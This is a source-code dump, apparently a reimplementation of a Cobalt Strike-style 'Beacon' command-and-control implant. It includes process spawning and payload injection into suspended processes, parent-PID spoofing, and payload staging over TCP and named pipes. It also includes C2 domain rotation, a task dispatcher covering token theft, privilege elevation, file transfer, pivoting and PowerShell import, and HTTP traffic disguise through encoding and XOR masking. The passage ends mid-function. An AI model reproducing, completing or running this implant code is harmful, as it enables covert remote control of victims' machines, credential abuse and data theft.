if (!BeaconDataStringCopySafe(&parser, password, MAX_PASSWORD))
goto cleanup;
PROCESS_INFORMATION pi;
if (SpawnAsUserInternal(x86, domain, username, password, &pi))
{
Sleep(100);
int size = BeaconDataLength(&parser);
char* data = BeaconDataBuffer(&parser);
BeaconInjectTemporaryProcess(&pi, data, size, 0, NULL, 0);
}
BeaconCleanupProcess(&pi);
cleanup:
BeaconDataFree(locals);
}
BOOL SpawnUnderInternal(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pi, int pid)
{
char cmd[256];
SpawnToFix(x86, cmd);
return RunUnder(cmd, strlen(cmd), si, pi, CREATE_SUSPENDED, ignoreToken, pid);
}
void SpawnUnder(char* buffer, int length, BOOL x86)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
char* payload = BeaconDataBuffer(&parser);
int payloadLength = BeaconDataLength(&parser);
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
if (SpawnUnderInternal(x86, TRUE, &si, &pi, pid))
{
Sleep(100);
BeaconInjectTemporaryProcess(&pi, payload, payloadLength, 0, NULL, 0);
BeaconCleanupProcess(&pi);
}
}
BOOL RunIsSameSessionAsCurrent(int pid)
{
int sessionId;
if (!ProcessIdToSessionId(pid, &sessionId))
return TRUE;
int currentSessionId;
if (!ProcessIdToSessionId(GetCurrentProcessId(), ¤tSessionId))
return TRUE;
return sessionId == currentSessionId;
}
void RunSetParentPid(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
gParentPid = BeaconDataInt(&parser);
if(gParentPid && !RunIsSameSessionAsCurrent(gParentPid))
{
LERROR("PPID %d is in a different desktop session (spawned jobs may fail). Use 'ppid' to reset.", gParentPid);
BeaconErrorD(ERROR_PARENT_PROCESS_NOT_IN_SAME_SESSION, gParentPid);
}
}
void SpawnSetTo(char* buffer, int length, BOOL x86)
{
if(!gSpawnToX86 || !gSpawnToX64)
{
#define MAX_SPAWN_TO 256
#define MAX_SPAWN_TO_X86 MAX_SPAWN_TO
#define MAX_SPAWN_TO_X64 MAX_SPAWN_TO
datap* parser = BeaconDataAlloc(MAX_SPAWN_TO_X86 + MAX_SPAWN_TO_X64);
gSpawnToX86 = BeaconDataPtr(parser, MAX_SPAWN_TO_X86);
gSpawnToX64 = BeaconDataPtr(parser, MAX_SPAWN_TO_X64);
}
if(length != 0 && length <= 256)
{
char* dst;
int size;
if(x86)
{
dst = gSpawnToX86;
size = MAX_SPAWN_TO_X86;
}
else
{
dst = gSpawnToX64;
size = MAX_SPAWN_TO_X64;
}
memset(dst, 0, size);
memcpy(dst, buffer, length);
} else
{
memset(gSpawnToX86, 0, MAX_SPAWN_TO_X86);
memset(gSpawnToX64, 0, MAX_SPAWN_TO_X64);
}
}
================================================
FILE: Beacon/spawn.h
================================================
#pragma once
void SpawnAndPing(char* data, int size, BOOL x86);
void BlockDlls(char* buffer, int length);
void Execute(char* buffer, int length);
void RunAsUser(char* buffer, int length);
void RunSetParentPid(char* buffer, int length);
void RunUnderPid(char* buffer, int length);
void SpawnUnder(char* buffer, int length, BOOL x86);
void SpawnAsUser(char* buffer, int length, BOOL x86);
void SpawnSetTo(char* buffer, int length, BOOL x86);
void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken);
void InjectIntoPidAndPing(char* buffer, int length, BOOL x86);
BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken);
BOOL AdjustMemoryPermissions(char* payload, int size);
BOOL IsWow64ProcessEx(HANDLE hProcess);
char* InjectLocally(char* payload, int size);
================================================
FILE: Beacon/stage.c
================================================
#include "pch.h"
#include "stage.h"
#include "beacon.h"
#include "link.h"
#include "network.h"
#include "pipe.h"
int StagePayloadViaTcp(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
char* target = BeaconDataStringPointer(&parser);
int port = BeaconDataInt(&parser);
char* packed = BeaconDataBuffer(&parser);
int packedLength = BeaconDataLength(&parser);
NetworkInit();
SOCKET targetSocket;
int timeout = GetTickCount() + 60000;
while (GetTickCount() < timeout)
{
targetSocket = LinkViaTcpConnect(target, port);
if(targetSocket != INVALID_SOCKET)
{
send(targetSocket, packed, packedLength, 0);
goto waitAndClose;
}
Sleep(1000);
}
LERROR("Could not connect to target (stager)");
BeaconErrorNA(ERROR_STAGER_VIA_TCP_CONNECTION_FAILED);
waitAndClose:
Sleep(1000);
return closesocket(targetSocket);
}
void StagePayloadViaPipe(char* buffer, int length)
{
char text[128];
datap parser;
BeaconDataParse(&parser, buffer, length);
BeaconDataStringCopySafe(&parser, text, sizeof(text));
char* data = BeaconDataBuffer(&parser);
int dataLength = BeaconDataLength(&parser);
HANDLE hFile;
int seconds = 0;
int timeout = GetTickCount() + 60000;
while(!PipeConnectWithToken(text, &hFile, 0))
{
if(GetLastError() == ERROR_BAD_NETPATH || GetTickCount() >= timeout)
goto error;
Sleep(1000);
if (++seconds >= 10)
goto error;
}
DWORD wrote;
WriteFile(hFile, &dataLength, sizeof(dataLength), &wrote, NULL);
int tmp = dataLength;
for(int total = 0; total < dataLength; total += wrote)
{
int toWrite = dataLength - total;
toWrite = min(toWrite, 0x2000);
if (!WriteFile(hFile, data + total, toWrite, &wrote, NULL))
break;
}
FlushFileBuffers(hFile);
DisconnectNamedPipe(hFile);
CloseHandle(hFile);
Sleep(1000);
return;
error:
DWORD lastError = GetLastError();
LERROR("Could not connect to pipe (%s): %s", text, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_STAGER_VIA_TCP_CONNECTION_FAILED, text, lastError);
}
================================================
FILE: Beacon/stage.h
================================================
#pragma once
int StagePayloadViaTcp(char* buffer, int length);
void StagePayloadViaPipe(char* buffer, int length);
================================================
FILE: Beacon/strategy.c
================================================
#include "pch.h"
#include "strategy.h"
#include "settings.h"
#include "utils.h"
#define STRATEGY_DEFAULT 0
#define STRATEGY_RANDOM 1
#define STRATEGY_FAILOVER 2
#if S_DOMAIN_STRATEGY == STRATEGY_DEFAULT
#include "strategy_default.c"
#elif S_DOMAIN_STRATEGY == STRATEGY_RANDOM
#include "strategy_random.c"
#elif S_DOMAIN_STRATEGY == STRATEGY_FAILOVER
#include "strategy_failover.c"
#else
#error "Invalid domain strategy"
#endif
BOOL StrategyMarkRetry(
const bool isConnectionFailed,
int* attempts,
int* sleepTime,
int* priorSleepTime)
{
if (S_MAX_RETRY_STRATEGY_ATTEMPTS <= 0)
return false;
if (isConnectionFailed)
{
if (++*attempts >= S_MAX_RETRY_STRATEGY_INCREASE && !*priorSleepTime)
{
*priorSleepTime = *sleepTime;
*sleepTime = min(*sleepTime, 1000 * S_MAX_RETRY_STRATEGY_DURATION);
}
if (*attempts >= S_MAX_RETRY_STRATEGY_ATTEMPTS)
return true;
}
else if (*attempts > 0)
{
*attempts = 0;
if (*priorSleepTime)
{
*sleepTime = *priorSleepTime;
*priorSleepTime = 0;
}
}
}
================================================
FILE: Beacon/strategy.h
================================================
#pragma once
#include
typedef struct STRATEGY
{
int seconds;
int failSeconds;
int failX;
} STRATEGY;
char* StrategyPickDomain(
const char* domains,
const bool isConnectionStrategyFailed, STRATEGY strategy);
================================================
FILE: Beacon/strategy_default.c
================================================
char* StrategyPickDomain(
const char* domains,
const bool isConnectionStrategyFailed, STRATEGY strategy)
{
static char* gCopiedDefaultDomains;
if (gCopiedDefaultDomains)
{
char* result = strtok(NULL, ",");
if (result)
return result;
free(gCopiedDefaultDomains);
}
SIZE_T srcLength = strlen(domains);
gCopiedDefaultDomains = malloc(srcLength + 1);
strncpy(gCopiedDefaultDomains, domains, srcLength + 1);
return strtok(gCopiedDefaultDomains, ",");
}
================================================
FILE: Beacon/strategy_failover.c
================================================
char* StrategyPickDomain(
const char* domains,
const bool isConnectionStrategyFailed, STRATEGY strategy)
{
static time_t gBaseTimestamp;
static STRATEGY gStrategy;
static char* gFailoverDomainsStr;
static int gFailoverCount;
static char* gFailoverDomains[200];
static int gDomainIndex;
static time_t gFailoverStart;
static int gFailoverAttempts;
static BOOL gIsFailoverActive;
time_t baseTimestamp;
bool forceFailover = false;
const time_t currentTimestamp = time(NULL);
if (gFailoverDomainsStr)
{
baseTimestamp = gBaseTimestamp;
strategy = gStrategy;
}
else
{
const int domainsLength = strlen(domains) + 1;
gFailoverDomainsStr = malloc(domainsLength);
strncpy(gFailoverDomainsStr, domains, domainsLength);
gFailoverCount = 0;
for (char* domain = strtok(gFailoverDomainsStr, ","); domain; domain = strtok(NULL, ","))
gFailoverDomains[gFailoverCount++] = domain;
gDomainIndex = 0;
baseTimestamp = 0;
gBaseTimestamp = 0;
gStrategy = strategy;
gFailoverStart = time(NULL);
}
if (isConnectionStrategyFailed)
{
if (strategy.failX >= 0) {
++gFailoverAttempts;
if (gFailoverAttempts > strategy.failX)
forceFailover = TRUE;
}
if (strategy.failSeconds >= 0)
{
if (baseTimestamp)
{
if (currentTimestamp > baseTimestamp + strategy.failSeconds)
forceFailover = TRUE;
}
else
{
gBaseTimestamp = time(NULL);
strategy.failSeconds = gStrategy.failSeconds;
}
}
}
else if (!gIsFailoverActive)
{
gBaseTimestamp = 0;
gFailoverAttempts = 0;
}
if (gIsFailoverActive && !forceFailover)
gIsFailoverActive = FALSE;
else
{
if (forceFailover || (strategy.seconds >= 0 && currentTimestamp > gFailoverStart + strategy.seconds)) {
gFailoverAttempts = 0;
int tmp = gDomainIndex + 2;
gDomainIndex = tmp < gFailoverCount ? tmp : 0;
gFailoverStart = time(NULL);
}
gIsFailoverActive = TRUE;
}
return gFailoverDomains[gDomainIndex + (gIsFailoverActive ? 0 : 1)];
}
================================================
FILE: Beacon/strategy_random.c
================================================
char* StrategyPickDomain(
const char* domains,
const bool isConnectionStrategyFailed, STRATEGY strategy) {
static char* gRandomDomainsArray;
static char* gRandomTokenArray[200];
static int gRandomTokenCount;
static int gSelectedRandomDomainIndex;
if (!gRandomDomainsArray)
{
char* copiedDomains = malloc(strlen(domains) + 1);
gRandomDomainsArray = copiedDomains;
strncpy(copiedDomains, domains, strlen(domains) + 1);
gRandomTokenCount = 0;
for (char* token = strtok(gRandomDomainsArray, ","); token; token = strtok(NULL, ","))
gRandomTokenArray[gRandomTokenCount++] = token;
}
else
{
if (gSelectedRandomDomainIndex < 0 || gSelectedRandomDomainIndex >= gRandomTokenCount)
{
gSelectedRandomDomainIndex = RoundToNearestEven(RandomIntInRange(0, gRandomTokenCount - 1));
return gRandomTokenArray[gSelectedRandomDomainIndex];
}
}
gSelectedRandomDomainIndex = -1;
return gRandomTokenArray[0];
}
================================================
FILE: Beacon/task.c
================================================
#include "pch.h"
#include "job.h"
#include "argument.h"
#include "beacon.h"
#include "channel.h"
#include "command.h"
#include "download.h"
#include "filesystem.h"
#include "identity.h"
#include "inline_execute_object.h"
#include "link.h"
#include "network.h"
#include "self.h"
#include "spawn.h"
#include "stage.h"
#include "powershell.h"
#include "process.h"
#include "web_response.h"
void TaskDispatch(int cmd, char* buffer, int size)
{
switch (cmd)
{
case COMMAND_BLOCKDLLS:
BlockDlls(buffer, size);
return;
case COMMAND_INLINE_EXECUTE_OBJECT:
InlineExecuteObject(buffer, size);
return;
case COMMAND_LSOCKET_BIND_LOCALHOST:
ChannelLSocketBind(buffer, size, LOCALHOST);
return;
case COMMAND_LSOCKET_BIND:
ChannelLSocketBind(buffer, size, 0);
return;
case COMMAND_SPAWNU_X86:
SpawnUnder(buffer, size, TRUE);
return;
case COMMAND_SPAWNU_X64:
SpawnUnder(buffer, size, FALSE);
return;
case COMMAND_SPAWNAS_X86:
SpawnAsUser(buffer, size, TRUE);
return;
case COMMAND_SPAWNAS_X64:
SpawnAsUser(buffer, size, FALSE);
return;
case COMMAND_LSOCKET_TCPPIVOT:
ChannelLSocketTcpPivot(buffer, size);
return;
case COMMAND_ARGUE_ADD:
ArgumentAdd(buffer, size);
return;
case COMMAND_ARGUE_REMOVE:
ArgumentRemove(buffer, size);
return;
case COMMAND_ARGUE_LIST:
ArgumentList();
return;
case COMMAND_TCP_CONNECT:
LinkViaTcp(buffer, size);
return;
case COMMAND_PSH_HOST_TCP:
PowershellHostTcp(buffer, size);
return;
case COMMAND_JOB_SPAWN_X86:
JobSpawn(buffer, size, TRUE, TRUE);
return;
case COMMAND_JOB_SPAWN_X64:
JobSpawn(buffer, size, FALSE, TRUE);
return;
case COMMAND_JOB_SPAWN_TOKEN_X86:
JobSpawn(buffer, size, TRUE, FALSE);
return;
case COMMAND_JOB_SPAWN_TOKEN_X64:
JobSpawn(buffer, size, FALSE, FALSE);
return;
case COMMAND_SPAWN_PROC_X64:
SpawnSetTo(buffer, size, FALSE);
return;
case COMMAND_SPAWN_PROC_X86:
SpawnSetTo(buffer, size, TRUE);
return;
case COMMAND_FILE_DRIVES:
FilesystemDrives(buffer, size);
return;
case COMMAND_FILE_RM:
FilesystemRemove(buffer, size);
return;
case COMMAND_STAGE_PAYLOAD_SMB:
StagePayloadViaPipe(buffer, size);
return;
case COMMAND_WEBSERVER_LOCAL:
WebServerLocal(buffer, size);
return;
case COMMAND_ELEVATE_PRE:
IdentityElevatePre(buffer, size);
return;
case COMMAND_ELEVATE_POST:
IdentityElevatePost();
return;
case COMMAND_PIPE_OPEN_EXPLICIT:
ProtocolSmbOpenExplicit(buffer);
return;
case COMMAND_UPLOAD_CONTINUE:
Upload(buffer, size, "wb");
return;
case COMMAND_UPLOAD:
Upload(buffer, size, "ab");
return;
case COMMAND_JOB_REGISTER:
JobRegister(buffer, size, FALSE, FALSE);
return;
case COMMAND_JOB_REGISTER_IMPERSONATE:
JobRegister(buffer, size, TRUE, FALSE);
return;
case COMMAND_JOB_REGISTER_MSGMODE:
JobRegister(buffer, size, FALSE, TRUE);
return;
case COMMAND_EXECUTE_JOB:
JobExecute(buffer, size);
return;
case COMMAND_GETPRIVS:
IdentityGetPrivileges(buffer, size);
return;
case COMMAND_RUN_UNDER_PID:
RunUnderPid(buffer, size);
return;
case COMMAND_PPID:
RunSetParentPid(buffer, size);
return;
case COMMAND_FILE_MOVE:
FilesystemMove(buffer, size);
return;
case COMMAND_FILE_COPY:
FilesystemCopy(buffer, size);
return;
case COMMAND_SETENV:
putenv(buffer);
return;
case COMMAND_FILE_MKDIR:
FilesystemMkdir(buffer, size);
return;
case COMMAND_STEAL_TOKEN:
IdentityStealToken(buffer, size);
return;
case COMMAND_PS_LIST:
ProcessList(buffer, size);
return;
case COMMAND_PS_KILL:
ProcessKill(buffer, size);
return;
case COMMAND_PSH_IMPORT:
PowershellImport(buffer, size);
return;
case COMMAND_RUNAS:
RunAsUser(buffer, size);
return;
case COMMAND_PWD:
FilesystemPwd();
return;
case COMMAND_JOB_KILL:
JobKill(buffer, size);
return;
case COMMAND_JOBS:
JobPrintAll();
return;
case COMMAND_PAUSE:
Pause(buffer, size);
return;
case COMMAND_LOGINUSER:
IdentityLoginUser(buffer, size);
return;
case COMMAND_FILE_LIST:
FilesystemList(buffer, size);
return;
case COMMAND_STAGE_PAYLOAD:
StagePayloadViaTcp(buffer, size);
return;
case COMMAND_LSOCKET_CLOSE:
ChannelLSocketClose(buffer, size);
return;
case COMMAND_INJECT_PID_PING:
InjectIntoPidAndPing(buffer, size, TRUE);
return;
case COMMAND_INJECTX64_PID_PING:
InjectIntoPidAndPing(buffer, size, FALSE);
return;
case COMMAND_TOKEN_REV2SELF:
BeaconRevertToken();
return;
case COMMAND_SEND:
ChannelSend(buffer, size);
return;
case COMMAND_CLOSE:
ChannelClose(buffer, size);
return;
case COMMAND_LISTEN:
ChannelListen(buffer, size);
return;
case COMMAND_TOKEN_GETUID:
IdentityGetUid();
return;
case COMMAND_PIPE_REOPEN:
PipeReopen(buffer, size);
return;
case COMMAND_PIPE_CLOSE:
PipeClose(buffer, size);
return;
case COMMAND_PIPE_ROUTE:
PipeRoute(buffer, size);
return;
case COMMAND_CANCEL_DOWNLOAD:
DownloadCancel(buffer, size);
return;
case COMMAND_INJECT_PING:
SpawnAndPing(buffer, size, TRUE);
return;
case COMMAND_INJECTX64_PING:
SpawnAndPing(buffer, size, FALSE);
return;
case COMMAND_CONNECT:
ChannelConnect(buffer, size);
return;
case COMMAND_SPAWN_TOKEN_X86:
Spawn(buffer, size, TRUE, FALSE);
return;
case COMMAND_SPAWN_TOKEN_X64:
Spawn(buffer, size, FALSE, FALSE);
return;
case COMMAND_SPAWNX64:
Spawn(buffer, size, FALSE, TRUE);
return;
case COMMAND_DIE:
Die();
return;
case COMMAND_SLEEP:
SleepSet(buffer, size);
return;
case COMMAND_CD:
FilesystemCd(buffer, size);
return;
case COMMAND_EXECUTE:
Execute(buffer, size);
return;
case COMMAND_DOWNLOAD:
DownloadDo(buffer, size);
return;
default:
LERROR("Unknown command: %d", cmd);
return;
}
}
void TaskProcess(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
int remaining;
do
{
int cmd = BeaconDataInt(&parser);
int size = BeaconDataInt(&parser);
char* data = BeaconDataPtr(&parser, size);
remaining = BeaconDataLength(&parser);
if (remaining < 0) // this should never happen
return;
TaskDispatch(cmd, data, size);
} while (remaining > 0);
BeaconDataZero(&parser);
}
================================================
FILE: Beacon/thread.c
================================================
#include "pch.h"
#include "thread.h"
#include "settings.h"
#include "spawn.h"
typedef struct THREAD_INFO {
LPTHREAD_START_ROUTINE lpStartAddress;
LPVOID lpParameter;
BOOL (*lpVirtualFree)(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
} THREAD_INFO, *PTHREAD_INFO;
int gThreadsActive = 0;
LPTHREAD_START_ROUTINE gThreadStartAddress;
#pragma code_seg(push, ".text$KKK002")
__declspec(noinline) void CFGCautionThreadStub(THREAD_INFO* threadInfo)
{
threadInfo->lpStartAddress(threadInfo->lpParameter);
threadInfo->lpVirtualFree(threadInfo, 0, MEM_RELEASE);
}
#pragma code_seg(pop)
#pragma code_seg(push, ".text$KKK003")
__declspec(noinline) void CFGCautionThreadStubEnd(void) {}
#pragma code_seg(pop)
HANDLE CreateThreadWithCfgCaution(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter) {
const PTHREAD_INFO pThreadInfo = malloc(sizeof(THREAD_INFO));
*pThreadInfo = (THREAD_INFO){
lpStartAddress,
lpParameter,
VirtualFree
};
if (!gThreadStartAddress)
gThreadStartAddress = (LPTHREAD_START_ROUTINE)
InjectLocally(CFGCautionThreadStub, (unsigned int)CFGCautionThreadStubEnd - (unsigned int)CFGCautionThreadStub);
if (gThreadStartAddress)
return CreateThread(NULL, 0, gThreadStartAddress, pThreadInfo->lpStartAddress, 0, NULL);
return INVALID_HANDLE_VALUE;
}
HANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter)
{
gThreadsActive++;
if (S_CFG_CAUTION) {
return CreateThreadWithCfgCaution(lpStartAddress, lpParameter);
} else {
return CreateThread(NULL, 0, lpStartAddress, lpParameter, 0, NULL);
}
}
================================================
FILE: Beacon/thread.h
================================================
#pragma once
extern int gThreadsActive;
HANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter);
================================================
FILE: Beacon/transform.c
================================================
#include "pch.h"
#include "transform.h"
#include "beacon.h"
#include "settings.h"
#include "utils.h"
#define STEP_NONE 0x0
#define STEP_APPEND 0x1
#define STEP_PREPEND 0x2
#define STEP_BASE64 0x3
#define STEP_PRINT 0x4
#define STEP_PARAMETER 0x5
#define STEP_HEADER 0x6
#define STEP_BUILD 0x7
#define STEP_NETBIOS 0x8
#define STEP__PARAMETER 0x9
#define STEP__HEADER 0xA
#define STEP_NETBIOSU 0xB
#define STEP_URI_APPEND 0xC
#define STEP_BASE64URL 0xD
#define STEP_STRREP 0xE
#define STEP_MASK 0xF
#define STEP__HOSTHEADER 0x10
#define DATA_ARGUMENT_SESSION_DATA 0x0
#define DATA_ARGUMENT_OUTPUT 0x1
void TransformInit(TRANSFORM* transform, int size)
{
#define MAX_HEADERS 1024
#define MAX_URI_PARAMS 1024
#define MAX_URI 1024
transform->outputLength = max(3 * size, 0x2000);
datap* parser = BeaconDataAlloc(MAX_HEADERS + MAX_URI_PARAMS + MAX_URI + transform->outputLength + transform->outputLength + transform->outputLength);
transform->headers = BeaconDataPtr(parser, MAX_HEADERS);
transform->uriParams = BeaconDataPtr(parser, MAX_URI_PARAMS);
transform->uri = BeaconDataPtr(parser, MAX_URI);
transform->body = BeaconDataPtr(parser, transform->outputLength);
transform->transformed = BeaconDataPtr(parser, transform->outputLength);
transform->temp = BeaconDataPtr(parser, transform->outputLength);
transform->bodyLength = 0;
}
void TransformEncode(TRANSFORM* transform,
unsigned char* request_profile,
const char* session,
const int session_len,
const char* response,
const int response_len)
{
#define MAX_PARAM 1024
#define MAX_REQUEST_PROFILE 1024
#define MAX_TEMP 1024
char param[MAX_PARAM] = { 0 };
int paramLength;
int transformedLength = 0;
BOOL isThereHostHeader = S_HOST_HEADER && strlen(S_HOST_HEADER) > 0;
BOOL isHostHeaderStepDone = FALSE;
datap parser;
BeaconDataParse(&parser, request_profile, MAX_REQUEST_PROFILE);
unsigned long outlen;
for (int step = BeaconDataInt(&parser); step; step = BeaconDataInt(&parser))
{
switch(step)
{
case STEP__PARAMETER:
memset(param, 0, sizeof(param));
BeaconDataStringCopySafe(&parser, param, sizeof(param));
if (*transform->uriParams)
snprintf(transform->temp, MAX_TEMP, "%s&%s", transform->uriParams, param);
else
snprintf(transform->temp, MAX_TEMP, "?%s", param);
memcpy(transform->uriParams, transform->temp, MAX_URI_PARAMS);
break;
case STEP__HEADER:
memset(param, 0, sizeof(param));
BeaconDataStringCopySafe(&parser, param, sizeof(param));
snprintf(transform->temp, MAX_TEMP, "%s%s\r\n", transform->headers, param);
memcpy(transform->headers, transform->temp, MAX_HEADERS);
break;
case STEP_URI_APPEND:
snprintf(transform->temp, MAX_TEMP, "%s%s", transform->uri, transform->transformed);
memcpy(transform->uri, transform->temp, MAX_URI);
break;
case STEP_BASE64URL:
outlen = transform->outputLength;
base64url_encode(transform->transformed, transformedLength, transform->temp, &outlen);
transformedLength = outlen;
if (transformedLength == 0)
return;
memset(transform->transformed, 0, transform->outputLength);
memcpy(transform->transformed, transform->temp, transformedLength);
break;
case STEP_MASK:
transformedLength = XorMask(transform->transformed, transformedLength, transform->temp, transform->outputLength);
if (transformedLength == 0)
return;
memset(transform->temp, 0, transform->outputLength);
memcpy(transform->transformed, transform->temp, transformedLength);
break;
case STEP__HOSTHEADER:
memset(param, 0, sizeof(param));
BeaconDataStringCopySafe(&parser, param, sizeof(param));
isHostHeaderStepDone = isThereHostHeader;
snprintf(transform->temp, MAX_TEMP, "%s%s\r\n", transform->headers, isHostHeaderStepDone ? S_HOST_HEADER : param);
memcpy(transform->headers, transform->temp, MAX_HEADERS);
break;
case STEP_NETBIOS:
case STEP_NETBIOSU:
transformedLength = ToNetbios(step == STEP_NETBIOSU ? 'A' : 'a', transform->transformed, transformedLength, transform->temp, transform->outputLength);
if (transformedLength == 0)
return;
memset(transform->transformed, 0, transform->outputLength);
memcpy(transform->transformed, transform->temp, transformedLength);
break;
case STEP_APPEND:
memset(param, 0, sizeof(param));
paramLength = BeaconDataStringCopySafe(&parser, param, sizeof(param));
memcpy(transform->transformed + transformedLength, param, paramLength);
paramLength = strlen(param);
transformedLength += paramLength;
break;
case STEP_PREPEND:
memset(param, 0, sizeof(param));
paramLength = BeaconDataStringCopySafe(&parser, param, sizeof(param));
memcpy(transform->temp, param, paramLength);
paramLength = strlen(param);
memcpy(transform->temp + paramLength, transform->transformed, transformedLength);
transformedLength += paramLength;
memset(transform->transformed, 0, transform->outputLength);
memcpy(transform->transformed, transform->temp, transformedLength);
break;
case STEP_BASE64:
outlen = transform->outputLength;
base64_encode(transform->transformed, transformedLength, transform->temp, &outlen);
transformedLength = outlen;
if (transformedLength == 0)
return;
memset(transform->transformed, 0, transform->outputLength);
memcpy(transform->transformed, transform->temp, transformedLength);
break;
case STEP_PRINT:
memcpy(transform->temp, transform->transformed, transformedLength);
transform->bodyLength = transformedLength;
break;
case STEP_PARAMETER:
memset(param, 0, sizeof(param));
BeaconDataStringCopySafe(&parser, param, sizeof(param));
if (*transform->uriParams)
snprintf(transform->temp, MAX_TEMP, "%s&%s=%s", transform->uriParams, param, transform->transformed);
else
snprintf(transform->temp, MAX_TEMP, "?%s=%s", param, transform->transformed);
memcpy(transform->uriParams, transform->temp, MAX_URI_PARAMS);
break;
case STEP_HEADER:
memset(param, 0, sizeof(param));
BeaconDataStringCopySafe(&parser, param, sizeof(param));
snprintf(transform->temp, MAX_TEMP, "%s%s: %s\r\n", transform->headers, param, transform->transformed);
memcpy(transform->headers, transform->temp, MAX_HEADERS);
break;
case STEP_BUILD:
int dataArgument = BeaconDataInt(&parser);
switch (dataArgument)
{
case DATA_ARGUMENT_OUTPUT:
memcpy(transform->transformed, response, response_len);
transformedLength = response_len;
break;
case DATA_ARGUMENT_SESSION_DATA:
memcpy(transform->transformed, session, session_len);
transformedLength = session_len;
break;
default:
LERROR("Unknown data argument %d", dataArgument);
break;
}
break;
default:
LERROR("Unknown step %d", step);
return;
}
}
if(isThereHostHeader && !isHostHeaderStepDone)
{
snprintf(transform->temp, MAX_TEMP, "%s%s\r\n", transform->headers, S_HOST_HEADER);
memcpy(transform->headers, transform->temp, MAX_HEADERS);
}
}
int TransformDecode(char* recover, char* recoverable, int recoverableLength, int maxGet)
{
char* temp = malloc(recoverableLength);
if (temp == NULL)
return FALSE;
datap parser;
BeaconDataParse(&parser, recover, maxGet);
int param;
unsigned long outlen;
for (int step = BeaconDataInt(&parser); step; step = BeaconDataInt(&parser))
{
switch (step)
{
case STEP_BASE64:
case STEP_BASE64URL:
recoverable[recoverableLength] = 0;
outlen = maxGet;
(step == STEP_BASE64 ? base64_decode : base64url_decode)(recoverable, recoverableLength, temp, &outlen);
recoverableLength = outlen;
if (recoverableLength == 0)
return FALSE;
memcpy(recoverable, temp, recoverableLength);
break;
case STEP_MASK:
recoverable[recoverableLength] = 0;
recoverableLength = XorUnmask(recoverable, recoverableLength, temp, maxGet);
if (recoverableLength == 0)
return FALSE;
memcpy(recoverable, temp, recoverableLength);
recoverable[recoverableLength] = 0;
break;
case STEP_NETBIOS:
case STEP_NETBIOSU:
recoverable[recoverableLength] = 0;
recoverableLength = FromNetbios(
step == STEP_NETBIOSU ? 'A' : 'a',
recoverable, recoverableLength,
temp, maxGet);
if (recoverableLength == 0)
return FALSE;
memcpy(recoverable, temp, recoverableLength);
recoverable[recoverableLength] = 0;
break;
case STEP_PREPEND:
param = BeaconDataInt(&parser);
if(param > recoverableLength)
{
LERROR("Prepend parameter %d is greater than recoverable length %d", param, recoverableLength);
return FALSE;
}
memcpy(temp, recoverable, param);
recoverableLength -= param;
memcpy(recoverable, temp + param, recoverableLength);
break;
case STEP_APPEND:
param = BeaconDataInt(&parser);
recoverableLength -= param;
if (recoverableLength <= 0)
return FALSE;
break;
default:
LERROR("Unknown step %d", step);
return FALSE;
}
}
return recoverableLength;
}
void TransformDestroy(TRANSFORM* transform)
{
BeaconDataFree(transform->parser);
}
================================================
FILE: Beacon/transform.h
================================================
#pragma once
#include "beacon.h"
typedef struct TRANSFORM
{
const char* headers;
const char* uriParams;
const char* uri;
void* body;
DWORD bodyLength;
unsigned int outputLength;
const char* transformed;
char* temp;
datap* parser;
} TRANSFORM;
void TransformInit(TRANSFORM* transform, int size);
void TransformEncode(TRANSFORM* transform,
unsigned char* request_profile,
const char* session,
const int session_len,
const char* response,
const int response_len);
int TransformDecode(char* recover, char* recoverable, int recoverableLength, int maxGet);
void TransformDestroy(TRANSFORM* transform);
================================================
FILE: Beacon/utils.c
================================================
#include "pch.h"
#include "utils.h"
DWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t size) {
// determine the size of the buffer required to store the expanded string
DWORD nSize = ExpandEnvironmentStringsA(lpSrc, NULL, 0);
// if the size of the buffer is too small, return 0
if (nSize == 0 || size <= nSize + 1) {
return 0;
}
// expand the string
return ExpandEnvironmentStringsA(lpSrc, lpDst, size);
}
int RoundToNearestMultiple(int value, int multiple)
{
return value - value % multiple;
}
int RoundToNearestEven(int value)
{
return RoundToNearestMultiple(value, 2);
}
int RandomIntInRange(int min, int max)
{
return min + rand() % (max - min + 1);
}
int RandomInt(void)
{
int out;
rng_get_bytes((unsigned char*)&out, sizeof(out), NULL);
return out;
}
int RandomEvenInt(void)
{
return RoundToNearestEven(RandomInt());
}
int ToNetbios(const char nb, const char* in, const int inlen, char* out, const int outlen)
{
int i, j;
for (i = 0, j = 0; i < inlen && j < outlen; i++, j += 2)
{
// Extract the upper and lower nibbles from "in"
// Calculate the results and store them in "out"
out[j] = (char)(in[i] >> 4 & 0x0F) + nb;
out[j + 1] = (char)(in[i] & 0x0F) + nb;
}
return j;
}
int FromNetbios(const char nb, const char* in, const int inlen, char* out, const int outlen)
{
if (inlen % 2 == 1) return 0;
int i, j;
for (i = 0, j = 0; i < inlen && j < outlen; i++, j += 2)
{
out[i] = (char)((in[j] - nb) << 4) | (char)(in[j + 1] - nb);
}
return inlen / 2;
}
#define MASK_SIZE sizeof(int)
int XorMask(const char* in, const int inlen, char* out, const int outlen)
{
const int outres = inlen + MASK_SIZE;
if (outres > outlen)
return 0;
*(int*)out = RandomInt();
for (int i = 0; i < inlen; i++)
out[i + MASK_SIZE] = in[i] ^ out[i % MASK_SIZE];
